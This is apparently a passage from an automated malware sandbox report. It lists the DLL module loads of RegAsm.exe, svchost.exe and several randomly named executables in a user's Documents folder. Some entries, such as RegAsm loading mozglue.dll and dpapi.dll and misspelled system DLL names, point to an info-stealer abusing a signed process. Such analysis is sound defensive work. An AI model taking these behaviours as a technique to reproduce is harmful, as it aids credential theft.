Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Section loaded: k7rn7l32.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Section loaded: ntd3ll.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: mscorjit.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll
